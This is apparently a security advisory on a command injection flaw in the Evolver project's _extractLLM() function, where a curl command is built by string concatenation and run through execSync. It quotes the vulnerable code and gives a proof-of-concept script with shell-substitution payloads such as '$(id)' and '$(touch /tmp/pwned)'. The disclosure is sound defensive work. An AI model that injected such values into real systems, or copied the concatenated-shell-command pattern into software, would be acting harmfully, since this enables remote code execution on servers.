Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution

Summary

A command injection vulnerability in the _extractLLM() function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to execSync() without proper sanitization, enabling remote code execution when the corpus parameter contains shell metacharacters.

Details

The vulnerability exists in src/gep/signals.js at lines 260-274:

// src/gep/signals.js:260-274
function _extractLLM(corpus, nodeSecret, hubUrl) {
  // ...
  var url = getHubUrl(hubUrl) + '/gep/extract';
  var postData = JSON.stringify({ corpus_summary: summary });
  
  // VULNERABLE: String concatenation into shell command
  var curlCmd = 'curl -s -m 10 -X POST'
    + ' -H "Content-Type: application/json"'
    + ' -H "Authorization: Bearer ' + nodeSecret + '"'
    + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
    + ' ' + JSON.stringify(url);

  // VULNERABLE: Executes shell command
  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });
  // ...
}

The corpus parameter is derived from user input (via userSnippet in extractSignals() function) and flows through to _extractLLM() where it becomes part of the shell command. While JSON.stringify() escapes some characters, it does not prevent shell command substitution via $(...) syntax when the resulting string is passed to execSync().

The extractSignals() function is called from the main evolution loop in src/gep/evolver.js, which processes user snippets and session transcripts.

PoC

Prerequisites:

• Node.js installed
• Access to the evolver application

Steps to reproduce:

1. Create a test file that simulates the vulnerable code path:

// test-command-injection.js
const { execSync } = require('child_process');

// Simulate the vulnerable _extractLLM function
function vulnerableExtractLLM(corpus) {
  const postData = JSON.stringify({ corpus_summary: corpus });
  const curlCmd = 'curl -s -m 10 -X POST'
    + ' -H "Content-Type: application/json"'
    + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''")
    + ' http://localhost/test';
  
  console.log('Command that would be executed:');
  console.log(curlCmd);
  console.log('\n--- Testing command substitution ---');
  
  // Demonstrate that command substitution works
  const testCmd = 'echo ' + JSON.stringify('$(id)');
  console.log('\nTest with echo:');
  console.log(execSync(testCmd, { encoding: 'utf8' }));
}

// Payload with command injection
const maliciousCorpus = '$(touch /tmp/pwned)';
vulnerableExtractLLM(maliciousCorpus);